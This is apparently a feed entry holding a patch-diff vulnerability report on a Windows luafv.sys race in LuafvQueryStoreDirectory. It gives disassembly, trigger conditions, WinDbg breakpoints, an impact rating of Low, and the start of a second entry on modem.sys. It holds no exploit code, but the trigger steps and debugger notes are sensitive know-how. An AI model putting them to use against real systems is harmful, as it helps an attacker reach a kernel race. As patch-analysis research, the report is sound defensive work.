&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014ED9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0018DCE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C000009Ah&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INSUFFICIENT_RESOURCES&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched — &lt;code&gt;LuafvQueryStoreDirectory&lt;/code&gt; @ &lt;code&gt;0x1C0015F34&lt;/code&gt; (feature-gated lock excerpt)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F59&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_3757245754__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F5E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F66&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0015FA3&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; feature OFF -&amp;gt; skip lock, run old path&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F68&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; push lock = ctx+0x20&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F6C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;188&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; KeGetCurrentThread()&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F75&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; already owner?&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F79&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0015F81&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F7B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; recursive: ++count&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F7F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0015FA3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F86&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_FltAcquirePushLockExclusiveEx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F9B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; owner = current thread&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015F9F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; recursion count = 1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0015FA3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;identical&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;unpatched&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;serialized&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00160D5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_3757245754__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00160DC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C001610A&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; feature OFF -&amp;gt; skip release&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00160F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; recursive: --count&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00160FE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_FltReleasePushLockEx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Key address anchors:
- &lt;code&gt;0x1C0014DCF&lt;/code&gt; — unsynchronized read of &lt;code&gt;ctx+0x60&lt;/code&gt;.
- &lt;code&gt;0x1C0014DE0&lt;/code&gt; — NULL-check branch two threads can both take.
- &lt;code&gt;0x1C0014DEF&lt;/code&gt; — &lt;code&gt;LuafvAllocatePool(PagedPool, 0x40, tag 0x16)&lt;/code&gt;.
- &lt;code&gt;0x1C0014DF4&lt;/code&gt; — unsynchronized store of the new pointer (race-decider).
- &lt;code&gt;0x1C0018DFA&lt;/code&gt; — &lt;code&gt;MmMapLockedPagesSpecifyCache&lt;/code&gt; on the query MDL.
- &lt;code&gt;0x1C0014EB5&lt;/code&gt; — &lt;code&gt;LuafvMergeStoreDirectory&lt;/code&gt; on the shared buffer.
- Patched: &lt;code&gt;0x1C0015F86&lt;/code&gt; (acquire), &lt;code&gt;0x1C00160FE&lt;/code&gt; (release), both gated at &lt;code&gt;0x1C0015F59&lt;/code&gt; / &lt;code&gt;0x1C00160D5&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Process context.&lt;/strong&gt; Run as a standard (non-elevated) user so UAC file virtualization is engaged; &lt;code&gt;luafv&lt;/code&gt; must be registered and filtering (default on workstations with UAC enabled).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Virtualized directory.&lt;/strong&gt; Enumerate a directory backed by the luafv virtual store so the stream-handle context and its store/virtual directory merge path are exercised.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Concurrent query-directory traffic.&lt;/strong&gt; Issue overlapped/asynchronous &lt;code&gt;IRP_MJ_DIRECTORY_CONTROL&lt;/code&gt; / &lt;code&gt;IRP_MN_QUERY_DIRECTORY&lt;/code&gt; requests (&lt;code&gt;NtQueryDirectoryFile&lt;/code&gt; / &lt;code&gt;FindNextFileW&lt;/code&gt;) on the same handle so two callbacks enter &lt;code&gt;LuafvQueryStoreDirectory&lt;/code&gt; on the same context. The lazy-init race is widest on the first query, when &lt;code&gt;ctx+0x60&lt;/code&gt; is still NULL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effects (demonstrable):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;A leaked 0x40-byte PagedPool allocation (pool tag &lt;code&gt;0x16&lt;/code&gt;) when both threads allocate and one pointer is overwritten.&lt;/li&gt;
&lt;li&gt;Concurrent open/merge over the same shared 0x40 buffer, i.e. corruption of the directory-merge state for that context.&lt;/li&gt;
&lt;li&gt;On patched builds with the feature enabled, the push lock serializes the path and neither effect occurs. With the feature disabled, the patched build behaves like the unpatched one.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;No use-after-free, arbitrary read/write, or privilege-escalation primitive is demonstrable from the diff; the buffer at &lt;code&gt;ctx+0x60&lt;/code&gt; is not freed within this function.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;p&gt;The diff supports a missing-synchronization (race) hardening only. The realistic worst case from the unsynchronized path is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pool-memory leak:&lt;/strong&gt; the loser thread's 0x40 PagedPool allocation (tag &lt;code&gt;0x16&lt;/code&gt;) is orphaned when the winner overwrites &lt;code&gt;ctx+0x60&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Concurrent buffer double-initialization:&lt;/strong&gt; both threads run &lt;code&gt;LuafvOpenDirectory&lt;/code&gt; (twice each) and &lt;code&gt;LuafvMergeStoreDirectory&lt;/code&gt; against the same shared 0x40 buffer, corrupting the per-context directory-merge state, which can lead to incorrect directory enumeration results or a fault while merging.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No free of the shared buffer occurs in &lt;code&gt;LuafvQueryStoreDirectory&lt;/code&gt;, so a use-after-free is not established by this diff. There is no evidence in the two builds for an information leak, a controlled kernel read/write, or a privilege-escalation primitive, and none is claimed here. The reachable path is narrow (directory-query only, first-init window) and the delivered lock is feature-gated, further limiting real-world exposure. This is why the finding is rated Low.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes (Unpatched Target)&lt;/h2&gt;
&lt;p&gt;Resolve the relocated base first:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;kd&amp;gt; lm m luafv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp luafv_unpatched!LuafvQueryStoreDirectory            ; 0x1C0014DB4 entry
bp luafv_unpatched!LuafvQueryStoreDirectory+0x1b       ; 0x1C0014DCF  read ctx+0x60
bp luafv_unpatched!LuafvQueryStoreDirectory+0x3b       ; 0x1C0014DEF  LuafvAllocatePool
bp luafv_unpatched!LuafvQueryStoreDirectory+0x40       ; 0x1C0014DF4  store ctx+0x60
bp luafv_unpatched!LuafvQueryStoreDirectory+0x76       ; 0x1C0014E2A  re-read ctx+0x60
bp luafv_unpatched!LuafvQueryStoreDirectory+0x101      ; 0x1C0014EB5  LuafvMergeStoreDirectory
bp luafv_unpatched!LuafvPreDirectoryControl            ; 0x1C000FD10 caller
bp luafv_unpatched!LuafvPreDirectoryControl+0xf3       ; 0x1C000FE03  call LuafvQueryStoreDirectory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Entry registers: &lt;code&gt;rcx = PFLT_INSTANCE&lt;/code&gt;, &lt;code&gt;rdx = PFLT_CALLBACK_DATA&lt;/code&gt;, &lt;code&gt;r8 = StreamHandleContext&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;What to inspect&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At entry:&lt;/strong&gt; &lt;code&gt;? poi(@r8+0x60)&lt;/code&gt; — NULL on a fresh context (lazy-init path taken); &lt;code&gt;dq @r8 l10&lt;/code&gt; to view the context.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0x1b&lt;/code&gt;:&lt;/strong&gt; confirm &lt;code&gt;[r8+0x60]&lt;/code&gt; is NULL. Two threads observing NULL here simultaneously is the race condition.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0x3b&lt;/code&gt;:&lt;/strong&gt; verify &lt;code&gt;ecx == 1&lt;/code&gt; (PagedPool), &lt;code&gt;edx == 0x40&lt;/code&gt; (size), &lt;code&gt;r8b == 0x16&lt;/code&gt; (tag).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0x40&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;rax&lt;/code&gt; is the new allocation; if &lt;code&gt;[rdi+0x60]&lt;/code&gt; already differs from &lt;code&gt;rax&lt;/code&gt;, the store was raced.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0x76&lt;/code&gt;:&lt;/strong&gt; compare &lt;code&gt;r8&lt;/code&gt; here against the allocation from &lt;code&gt;+0x40&lt;/code&gt;; a mismatch indicates the shared pointer was replaced by another thread.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Key instructions / offsets&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0014DCF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov r8, [r8+60h]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unsynchronized read of shared buffer pointer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0014DDD&lt;/code&gt;–&lt;code&gt;0x1C0014DE0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test r8,r8 ; jnz 0x1C0014E12&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;NULL-check both threads can pass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0014DEF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call LuafvAllocatePool&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PagedPool&lt;/code&gt;, 0x40 bytes, tag 0x16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0014DF4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov [rdi+60h], rax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unsynchronized store (race-decider)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0014E2A&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov r8, [rdi+60h]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Second &lt;code&gt;LuafvOpenDirectory&lt;/code&gt; re-reads shared pointer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0018DFA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call MmMapLockedPagesSpecifyCache&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Maps the query MDL (&lt;code&gt;Iopb+0x40&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0014EB5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call LuafvMergeStoreDirectory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Merge over the shared buffer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C000FE03&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call LuafvQueryStoreDirectory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Caller's invocation site&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0015F86&lt;/code&gt; (patched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call FltAcquirePushLockExclusiveEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Feature-gated lock acquire&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00160FE&lt;/code&gt; (patched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call FltReleasePushLockEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Feature-gated lock release&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Struct / offset notes&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;StreamHandleContext (arg3)
  +0x20  push lock (recursive exclusive; used only on the patched feature-on path)
         +0x08  owner thread (ETHREAD*, from gs:0x188)
         +0x10  recursion count (DWORD)
  +0x30  sub-structure used by the second LuafvOpenDirectory call
  +0x60  lazily-allocated 0x40-byte PagedPool buffer, pool tag 0x16

FLT_CALLBACK_DATA (arg2)
  +0x10  Iopb
         +0x18  length/parameter (r12)
         +0x40  query MDL (used by MmMapLockedPagesSpecifyCache)

Alloc-failure return: 0xC000009A (STATUS_INSUFFICIENT_RESOURCES)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LuafvQueryStoreDirectory&lt;/code&gt; (&lt;code&gt;0x1C0014DB4&lt;/code&gt; → &lt;code&gt;0x1C0015F34&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.7348&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Security-relevant (gated)&lt;/td&gt;
&lt;td&gt;Only behavioral change. Adds a recursive &lt;code&gt;FltAcquirePushLockExclusiveEx&lt;/code&gt;/&lt;code&gt;FltReleasePushLockEx&lt;/code&gt; pair on the stream-handle-context push lock at &lt;code&gt;ctx+0x20&lt;/code&gt;, guarded by &lt;code&gt;Feature_3757245754__private_IsEnabledDeviceUsage()&lt;/code&gt;. When the feature is off the lock is skipped and the original unsynchronized body runs. Body logic otherwise unchanged.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;An independent content-level diff of both builds (matching by function content across relocations, not by reused address) confirms this is the sole logic change. Every other matched function differs only in global-data addresses (e.g. &lt;code&gt;qword_1C0009AB8&lt;/code&gt; → &lt;code&gt;qword_1C000A498&lt;/code&gt;) because the data section shifted when the WIL feature-staging code and its globals were linked into the patched build — no instruction-level logic changes. No other changed function is a security fix.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched / Added Functions&lt;/h2&gt;
&lt;p&gt;The patched build additionally links in the WIL feature-staging framework used by the gate: &lt;code&gt;Feature_3757245754__private_IsEnabledDeviceUsage&lt;/code&gt;, &lt;code&gt;Feature_3757245754__private_IsEnabledFallback&lt;/code&gt;, and a set of &lt;code&gt;wil_details_*&lt;/code&gt; / &lt;code&gt;wil_*StagingConfig*&lt;/code&gt; / &lt;code&gt;wil_details_FeatureReporting_*&lt;/code&gt; helper routines. These are staging/telemetry plumbing that implement and evaluate the feature flag; they contain no independent luafv security logic. No sanitizer or security check was removed from the unpatched build.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; &lt;strong&gt;High&lt;/strong&gt; for the nature and scope of the change; the diff is unambiguous and reproducible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rationale.&lt;/strong&gt;
- Exactly one function changed behaviorally (&lt;code&gt;LuafvQueryStoreDirectory&lt;/code&gt;); every other delta is data relocation from linking in the WIL staging code.
- The added synchronization and its feature gate are directly visible in the patched disassembly (&lt;code&gt;0x1C0015F59&lt;/code&gt; gate, &lt;code&gt;0x1C0015F86&lt;/code&gt; acquire, &lt;code&gt;0x1C00160FE&lt;/code&gt; release).
- The entry point is &lt;code&gt;LuafvPreDirectoryControl&lt;/code&gt; for &lt;code&gt;IRP_MJ_DIRECTORY_CONTROL&lt;/code&gt; / &lt;code&gt;IRP_MN_QUERY_DIRECTORY&lt;/code&gt; only; the caller's guards (&lt;code&gt;cmp byte [Iopb+5], 1&lt;/code&gt;, then the file-information-class dispatch) confine reachability to directory-query.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why the severity is Low.&lt;/strong&gt;
- The delivered lock is gated behind a WIL feature flag with the old unsynchronized path retained (staged rollout, not an unconditional fix).
- The reachable window is narrow (concurrent directory-query on the same context, first-init only).
- The demonstrable impact is a pool leak and concurrent buffer double-initialization; no use-after-free, information leak, or read/write primitive is established by the diff (the &lt;code&gt;ctx+0x60&lt;/code&gt; buffer is not freed within this function).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assumptions.&lt;/strong&gt;
- &lt;code&gt;LuafvAllocatePool&lt;/code&gt; allocates PagedPool based on the register setup at the call site (&lt;code&gt;ecx = 1&lt;/code&gt;, &lt;code&gt;edx = 0x40&lt;/code&gt;, &lt;code&gt;r8b = 0x16&lt;/code&gt;).
- The MDL passed to &lt;code&gt;MmMapLockedPagesSpecifyCache&lt;/code&gt; comes from &lt;code&gt;Iopb+0x40&lt;/code&gt; (&lt;code&gt;mov rcx, [rsi+40h]&lt;/code&gt; immediately before the call).
- The runtime state of &lt;code&gt;Feature_3757245754__private_IsEnabledDeviceUsage&lt;/code&gt; on any given system depends on staging configuration and is not determinable from the binary alone.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>modem.sys — Missing zero-initialization of PDO-name pool buffer in ModemHandleSymbolicLink (CWE-908) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/modem_23306113-modem-report-20260629-135540.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/modem_23306113-modem-report-20260629-135540.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;modem_unpatched.sys&lt;/code&gt;&lt;/li&gt;
